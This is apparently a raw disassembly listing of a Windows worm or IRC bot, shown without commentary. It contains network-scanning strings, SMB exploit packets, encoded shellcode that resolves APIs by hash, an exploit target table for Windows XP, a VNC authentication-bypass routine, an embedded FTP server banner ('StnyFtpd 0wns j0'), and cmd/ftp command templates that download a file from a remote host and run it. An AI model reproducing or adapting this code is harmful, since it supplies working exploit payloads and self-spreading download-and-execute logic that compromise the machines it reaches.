		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 10h
unk_431910	db  2Dh	; -		; DATA XREF: sub_40BA56+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 10h
unk_431930	db  2Dh	; -		; DATA XREF: sub_40BA56+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_43194C	db  2Dh	; -		; DATA XREF: sub_40BACD+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 10h
unk_431980	db  2Dh	; -		; DATA XREF: sub_40BACD+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_34	db '- Failed to start server, error: <%d>.',0
unk_4319B8	db  2Dh	; -		; DATA XREF: sub_40BACD+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 4
unk_4319E8	db  2Dh	; -		; DATA XREF: sub_40BACD+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start server, error: <%d>.',0
		align 4
unk_431A1C	db  2Dh	; -		; DATA XREF: sub_40BACD+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 10h
unk_431A50	db  2Dh	; -		; DATA XREF: sub_40BACD+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_36	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431A84	db  2Dh	; -		; DATA XREF: sub_40C124+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_431AAC	db  2Dh	; -		; DATA XREF: sub_40C124+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431AE4	db  2Dh	; -		; DATA XREF: sub_40C124+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_431B24	db  2Dh	; -		; DATA XREF: sub_40C124+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_431B5C	db  2Dh	; -		; DATA XREF: sub_40C124+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431B90	db  2Dh	; -		; DATA XREF: sub_40C124+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_431BC4	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C59B+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db '░B░B░B░B',0         ; DATA XREF: sub_40CADA+B2o
		align 4
dword_431C78	dd 10FF8h, 0		; DATA XREF: sub_40CADA+6Ao
dword_431C80	dd 10FF8h		; DATA XREF: sub_40CADA+79o
dword_431C84	dd 7FFDF020h, 0		; DATA XREF: sub_40CADA+162o
dword_431C8C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40CF04+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_431D14	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40CF04+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_431D44	dd 0			; DATA XREF: sub_40CF04+44o
		dd 800000D4h, 0
unk_431D50	db  81h	; │		; DATA XREF: sub_40CFDE+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_431D9C	db 41h			; DATA XREF: sub_40D07C+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_431DE0	proc near		; DATA XREF: ___:0040D35Bo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_431EDC
		push	dword ptr [esi]
		push	63D61209h
		call	sub_431EF2
		mov	[esi+8], eax
		call	sub_431EA5
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_431EF2
		mov	[esi+0Ch], eax
		call	sub_431E57
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_431EF2
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_431DE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_431E57	proc near		; CODE XREF: sub_431DE0+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_431E80
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_431E57	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431E80	proc near		; CODE XREF: sub_431E57+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h

loc_431E8F:				; CODE XREF: sub_431E80+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_431E9C
		inc	ebx
		jmp	short loc_431E8F
; ---------------------------------------------------------------------------

loc_431E9C:				; CODE XREF: sub_431E80+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_431E80	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431EA5	proc near		; CODE XREF: sub_431DE0+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi

loc_431EBD:				; CODE XREF: sub_431EA5+1Ej
		cmp	[ecx], ebx
		jz	short loc_431EC5
		mov	ecx, [ecx]
		jmp	short loc_431EBD
; ---------------------------------------------------------------------------

loc_431EC5:				; CODE XREF: sub_431EA5+1Aj
		mov	edx, edi

loc_431EC7:				; CODE XREF: sub_431EA5+2Aj
		cmp	[edx+4], ebx
		jz	short loc_431ED1
		mov	edx, [edx+4]
		jmp	short loc_431EC7
; ---------------------------------------------------------------------------

loc_431ED1:				; CODE XREF: sub_431EA5+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_431EA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_431EDC	proc near		; CODE XREF: sub_431DE0+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_431EDC	endp


; =============== S U B	R O U T	I N E =======================================



sub_431EF2	proc near		; CODE XREF: sub_431DE0+16p
					; sub_431DE0+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp

loc_431F08:				; CODE XREF: sub_431EF2+33j
		jecxz	short loc_431F42
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld

loc_431F15:				; CODE XREF: sub_431EF2+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_431F21
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_431F15
; ---------------------------------------------------------------------------

loc_431F21:				; CODE XREF: sub_431EF2+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_431F08
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------

loc_431F42:				; CODE XREF: sub_431EF2:loc_431F08j
					; sub_431EF2:loc_431F42j
		jmp	short loc_431F42
sub_431EF2	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_431F48	proc near		; DATA XREF: ___:0040D309o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_431F9A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp

loc_431F65:				; CODE XREF: sub_431F48+38j
		jecxz	short loc_431F95
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq

loc_431F70:				; CODE XREF: sub_431F48+32j
		lodsb
		test	al, al
		jz	short loc_431F7C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_431F70
; ---------------------------------------------------------------------------

loc_431F7C:				; CODE XREF: sub_431F48+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_431F65
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp

loc_431F95:				; CODE XREF: sub_431F48:loc_431F65j
		mov	[esp+arg_0], ebx
		retn
sub_431F48	endp


; =============== S U B	R O U T	I N E =======================================



sub_431F9A	proc near		; CODE XREF: sub_431F48+7p

; FUNCTION CHUNK AT 00431FD2 SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_431FB3
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_431FBE
; ---------------------------------------------------------------------------

loc_431FB3:				; CODE XREF: sub_431F9A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]

loc_431FBE:				; CODE XREF: sub_431F9A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_431FD2
sub_431F9A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431FC5	proc near		; CODE XREF: sub_431F9A:loc_431FD2p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_431FC5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431F9A

loc_431FD2:				; CODE XREF: sub_431F9A+29j
		call	sub_431FC5

loc_431FD7:				; DATA XREF: sub_40CADA+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_431F9A
; ---------------------------------------------------------------------------
		dw 0
dword_431FDC	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o
dword_431FE8	dd 30h			; DATA XREF: sub_40CADA+2CAo
dword_431FEC	dd 0A1h			; DATA XREF: sub_40CADA+29Fo
dword_431FF0	dd 3			; DATA XREF: sub_40CADA+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CADA+153o
		align 4

loc_431FFC:				; DATA XREF: sub_40CADA+E8o
		jmp	short near ptr dword_432004
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_432004	dd 0			; CODE XREF: ___:loc_431FFCj
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D330o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 10h
dword_432070	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo
; ---------------------------------------------------------------------------

loc_43207C:				; CODE XREF: ___:00432086j
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_43207C
		inc	edi
		jz	short loc_4320C3
		and	eax, 952CE753h
		inc	esp
		jle	short loc_4320EB
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]

loc_4320C3:				; CODE XREF: ___:00432089j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_432122+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------

loc_4320E8:				; CODE XREF: ___:00432115j
		xor	[esi-25h], bl

loc_4320EB:				; CODE XREF: ___:00432091j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh

loc_432104:				; CODE XREF: ___:00432137j
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_4320E8
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp

loc_432122:				; CODE XREF: ___:004320C9j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_4321AE
		jo	short loc_432104
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_432145+1
		add	bl, [edi]

loc_432145:				; CODE XREF: ___:00432141j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_43215A+2
		cmp	ch, bh
		dec	edx

loc_43215A:				; CODE XREF: ___:00432155j
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------

loc_4321AE:				; CODE XREF: ___:00432135j
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_432234
		sub	al, 0BCh
		jmp	near ptr 544525A2h
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_4321D0	dd 0EFFFC481h, 44FFFFh,	43221Ch	; DATA XREF: ___:0040DC32o
dword_4321DC	dd 42Ah			; DATA XREF: ___:0040DBE5r
dword_4321E0	dd 3E8h			; DATA XREF: ___:0040DC56r
dword_4321E4	dd 258h			; DATA XREF: ___:0040DC28r
byte_4321E8	db 1			; DATA XREF: ___:0040DB91r
					; ___:0040DC5Fr
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_432200	dd 20804h		; DATA XREF: sub_40D89Fr ___:0040DC7Do ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004321ECo
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------

loc_432234:				; CODE XREF: ___:004321B8j
		push	eax
		xor	al, 29h

loc_432237:				; DATA XREF: ___:0040DBB9o
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 10h
dword_432240	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:0040DAE9o
dword_432254	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:0040DA8Do
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co
		align 4
aSIpc		db '\\%s\ipc$',0
		align 4
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40DFE2+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_4322FC	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 10h
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co
		align 10h
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o
		align 10h
word_433540	dw 1			; DATA XREF: ___:0040E210r
		align 4
dword_433544	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_419C64+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
aFtpTransferCom	db 'ftp transfer complete to: %s',0
		align 4
a226TransferCom	db '226 Transfer complete.',0Ah,0
aFtpTransferSta	db 'ftp transfer started to: %s',0
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
		align 4
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 4
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 4
a226TransferC_0	db '226 Transfer complete',0Ah,0
		align 10h
aList_0		db 'LIST',0
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:00437CA8o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:00437CB4o
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_3		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_43382C	db  2Dh	; -		; DATA XREF: sub_40F0D5+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_433854	db 0Dh,0Ah,0		; DATA XREF: sub_40F0D5+2CFo
					; sub_41A4D1+F5o
		align 4
aGet_0		db 'GET ',0             ; DATA XREF: sub_40F0D5+269o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
